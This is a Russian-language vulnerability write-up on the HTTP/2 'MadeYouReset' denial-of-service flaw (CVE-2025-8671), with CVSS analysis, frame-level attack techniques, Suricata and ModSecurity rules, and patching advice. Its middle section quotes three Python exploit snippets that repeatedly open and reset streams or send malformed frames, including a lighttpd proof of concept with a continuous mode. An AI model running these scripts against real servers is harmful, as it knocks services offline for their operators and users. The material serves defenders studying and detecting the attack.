Уязвимость BDU:2025-09848 (CVE-2025-8671) HTTP/2
Уязвимость BDU:2025-09848 (CVE-2025-8671), также известная как MadeYouReset, представляет собой критическую уязвимость в реализации протокола HTTP/2, связанную с некорректным освобождением ресурсов. Эта уязвимость позволяет удаленному злоумышленнику вызвать отказ в обслуживании (DoS) путем отправки специально сформированных HTTP-запросов, что приводит к чрезмерному потреблению серверных ресурсов.
Анализ уязвимости
Уровень опасности: 7.5 (HIGH)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
-
AV:N (Вектор атаки: Сетевой) - Атака через сеть, удаленно без физического доступа
-
AC:L (Сложность атаки: Низкая) - Низкая сложность эксплуатации, не требует специальных условий
-
PR:N (Требуемые привилегии: Нет) - Не требуются привилегии для эксплуатации
-
UI:N (Взаимодействие с пользователем: Нет) - Не требует взаимодействия с пользователем
-
S:U (Область воздействия: Не меняется) - Не оказывает влияния на другие компоненты системы
-
C:N (Конфиденциальность: Нет) - Не влияет на конфиденциальность данных
-
I:N (Целостность: Нет) - Не влияет на целостность данных
-
A:H (Доступность: Высокая) - Полное нарушение доступности системы
Условия эксплуатации уязвимости
Для успешной эксплуатации уязвимости необходимо соблюдение следующих условий:
-
Целевой сервер должен использовать уязвимую реализацию HTTP/2. Это включает такие популярные реализации как Apache Tomcat (версии до 11.0.10, 10.1.44, 9.0.108), Netty, F5 BIG-IP и другие.
-
Сервер должен быть доступен по сети. Атака может проводиться как из внутренней сети, так и из интернета, если уязвимый сервер доступен публично.
-
Отсутствие соответствующих средств защиты. Серверы без последних обновлений или без специализированных систем защиты (WAF, IPS) наиболее уязвимы.
-
Возможность установить HTTP/2 соединение. Клиент должен поддерживать протокол HTTP/2 и иметь возможность согласовать его использование с сервером.
Технический механизм уязвимости
Основы протокола HTTP/2
HTTP/2 использует систему потоков (streams) для совместной передачи нескольких запросов в рамках одного TCP-соединения. Каждый поток представляет собой двунаправленный канал для передачи HTTP-запросов и ответов, представленных в виде фреймов. Сервер устанавливает ограничение на максимальное количество одновременных потоков (параметр MAX_CONCURRENT_STREAMS, обычно 100), чтобы предотвратить перегрузку.
Суть уязвимости CVE-2025-8671
Уязвимость CVE-2025-8671 возникает из-за несоответствия между обработкой потоков на уровне протокола HTTP/2 и фактической обработкой запросов в backend-системе. Когда сервер сбрасывает поток (отправляет RST_STREAM фрейм), на уровне протокола поток считается закрытым и освобождает слот для нового потока. Однако backend-обработка запроса часто продолжается, что создает дисбаланс.
Атакующий может использовать специально сформированные фреймы, которые вызывают ошибки протокола, заставляя сервер самостоятельно сбрасывать потоки. Это позволяет обойти ограничение MAX_CONCURRENT_STREAMS и создать неограниченное количество одновременных запросов на одном соединении, исчерпывая ресурсы сервера.
Методы атаки MadeYouReset
Исследователи идентифицировали шесть основных методов, которые могут заставить сервер сбросить потоки:
-
WINDOW_UPDATE frame с increment 0 - явное нарушение спецификации HTTP/2
-
PRIORITY frame с длиной не 5 октетов - несоответствие требуемой длине фрейма
-
PRIORITY frame, делающий поток зависимым от самого себя - циклическая зависимость
-
WINDOW_UPDATE frame, увеличивающий окно сверх максимального допустимого размера 2³¹−1 - превышение максимального размера
-
HEADERS frame после закрытия потока клиентом - нарушение правил изменения состояний потоков
-
DATA frame после закрытия потока клиентом - нарушение правил изменения состояний потоков
Анализ кода эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.
Эксплоит 1
Скрипт на Python предназначен для эвристического тестирования уязвимостей CVE-2023-44487 (Rapid Reset) и CVE-2025-8671 (MadeYouReset). Он использует библиотеку h2 для работы с HTTP/2:
# Основная функция для тестирования MadeYouReset
def made_you_reset_variation(self, authority, path="/", n_streams=100, jitter_ms=2):
"""CVE-2025-25063 heurística: HEADERS end_stream=False + небольшой jitter и RST."""
import random
headers_base = [
(":method", "GET"),
(":authority", authority),
(":scheme", "https" if self.tls else "http"),
(":path", path),
("user-agent", "h2-check/myr")
]
start = time.time()
for i in range(n_streams):
sid = self.conn.get_next_available_stream_id()
self.conn.send_headers(sid, headers_base, end_stream=False)
self._send(self.conn.data_to_send())
time.sleep(random.uniform(0, jitter_ms/1000.0))
self.conn.reset_stream(sid, error_code=0x8)
self._send(self.conn.data_to_send())
self.metrics["rst_sent"] += 1
self.metrics["streams_opened"] += 1
if i % 20 == 0:
self.ping()
self._drain(0.0)
dur = max(0.001, time.time() - start)
self.metrics["rst_rate_per_s"] = self.metrics["rst_sent"] / dur
self._drain(0.8)
Этот код открывает поток, отправляет заголовки, добавляет небольшую задержку (jitter), а затем сбрасывает поток. Повторяя этот процесс многократно, он пытается обойти ограничения сервера на количество одновременных потоков.
Эксплоит 2
Данный эксплоит специально нацелен на сервер lighttpd:
def poc_dos_http2(host, port=8080, count=20, continuous=False):
try:
import h2.connection
import h2.config
s = socket.create_connection((host, port))
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
s.sendall(conn.data_to_send())
console.print("[*] Envoi de flux pour provoquer DoS (PoC)...", style="success")
i = 0
while continuous or i < count:
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, [
(":method", "GET"),
(":path", "/"),
(":scheme", "http"),
(":authority", host)
])
conn.reset_stream(stream_id)
s.sendall(conn.data_to_send())
time.sleep(0.1)
i += 1
s.close()
console.print("[*] PoC terminé.", style="success")
Этот код устанавливает HTTP/2 соединение, затем многократно открывает и сбрасывает потоки, пытаясь исчерпать ресурсы сервера.
Эксплоит 3
Третий эксплоит тестирует шесть различных векторов атаки:
def do_attempt(vector_name, attempt_idx, path):
# ...
try:
if vector_name == "V1_WINDOW_UPDATE_ZERO_STREAM":
frame_window_update(sock, stream_id, 0)
elif vector_name == "V2_WINDOW_UPDATE_ZERO_CONN":
frame_window_update(sock, 0, 0)
elif vector_name == "V3_DATA_AFTER_END":
frame_data_after_end(sock, stream_id)
elif vector_name == "V4_HEADERS_ZERO_LEN_AFTER_END":
frame_headers_zero_len(sock, stream_id)
elif vector_name == "V5_PRIORITY_BAD_LEN_AFTER_END":
frame_priority_bad_len(sock, stream_id)
elif vector_name == "V6_CONTINUATION_WITHOUT_HEADERS":
sid2 = h2c.get_next_available_stream_id()
frame_continuation_without_headers(sock, sid2)
# ...
Каждая из этих функций отправляет специально сформированные фреймы, которые нарушают спецификацию HTTP/2 и могут вызвать сброс потоков сервером.
Вредоносные HTTP-запросы
При атаке MadeYouReset злоумышленник отправляет специально сформированные HTTP/2 фреймы. Вот примеры таких фреймов:
WINDOW_UPDATE с нулевым инкрементом
WINDOW_UPDATE Frame {
Length: 4,
Type: 0x8,
Flags: 0x0,
Stream ID: 1,
Window Size Increment: 0 // Нарушение: не может быть нулевым
}
PRIORITY с неправильной длиной
PRIORITY Frame {
Length: 6, // Нарушение
Type: 0x2,
Flags: 0x0,
Stream ID: 1,
Priority Data: <6 bytes> // Нарушение
}
DATA после закрытия потока
Клиент отправляет END_STREAM флаг, затем дополнительный DATA фрейм:
HEADERS Frame {
Stream ID: 1,
Flags: 0x1 (END_STREAM), // Поток закрыт
Headers: [...]
}
DATA Frame {
Stream ID: 1, // Нарушение: поток уже закрыт
Flags: 0x0,
Data: <payload>
}
Важно отметить, что уязвимость не позволяет напрямую получить доступ к данным или выполнить произвольный код, но ее эксплуатация приводит к полному нарушению доступности.
Методы защиты
1. Обновление программного обеспечения
Наиболее эффективным методом защиты является своевременное обновление уязвимых компонентов:
-
Apache Tomcat: обновить до версий 11.0.10, 10.1.44 или 9.0.108
-
Другие реализации: следить за обновлениями от соответствующих вендоров
2. Настройка WAF/IPS правил
Для обнаружения и блокировки атак типа MadeYouReset можно использовать следующие правила:
Правило для Suricata:
alert http any any -> any any (msg:"CVE-2025-8671 - Possible HTTP/2 MadeYouReset Attack"; flow:established,to_server; http2.frametype:WINDOWUPDATE; byte_test:4,=,0,0,relative; content:"|00 00 00 00|"; within:4; metadata:service http; classtype:attempted-dos; sid:202586711; rev:1;) alert http any any -> any any (msg:"CVE-2025-8671 - HTTP/2 PRIORITY frame with invalid length"; flow:established,to_server; http2.frametype:priority; http2.priority:>5; metadata:service http; classtype:attempted-dos; sid:202586712; rev:1;)
Данные правила можно найти в моем наборе правил (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
Правило для ModSecurity:
SecRule REQUEST_METHOD "@rx ^(?:POST|GET|HEAD|PUT|DELETE|OPTIONS|TRACE)$" \
"id:1000003,\
phase:request,\
t:none,\
msg:'Potential HTTP/2 MadeYouReset Attack',\
logdata:'Matched %{MATCHED_VAR}',\
tag:'application-multi',\
tag:'language-multi',\
tag:'platform-multi',\
tag:'attack-dos',\
tag:'paranoia-level/1',\
tag:'OWASP_CRS',\
tag:'capec/1000/210/227/469',\
ver:'OWASP_CRS/3.4.0-dev',\
severity:'CRITICAL',\
setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"
3. Конфигурационные изменения
-
Ограничение скорости обработки фреймов: Настройте ограничения на количество RST_STREAM фреймов и других управляющих фреймов в единицу времени.
-
Мониторинг аномальной активности: Внедрите системы мониторинга, отслеживающие необычно высокое количество сброшенных потоков (reset streams) или ошибок протокола.
-
Использование HTTP/3: Рассмотрите переход на HTTP/3 (QUIC), который менее подвержен данному типу атак благодаря отличиям в design протокола.
4. Размещение защитных систем
WAF/IPS системы должны быть размещены на границе сети, перед уязвимыми серверами. Для максимальной эффективности рекомендуется:
-
Перед балансировщиками нагрузки: Для фильтрации трафика до его распределения между серверами
-
На границе сети: Для блокировки атак извне до достижения внутренних серверов
-
В режиме reverse proxy: Для полного контроля над входящим HTTP/2 трафиком
5. Проактивный мониторинг и обнаружение
Внедрите систему мониторинга, которая отслеживает следующие аномалии:
-
Необычно высокое количество RST_STREAM фреймов
-
Большое количество ошибок протокола
-
Резкий рост потребления CPU и памяти на серверах
-
Аномальные шаблоны в количестве одновременных HTTP/2 потоков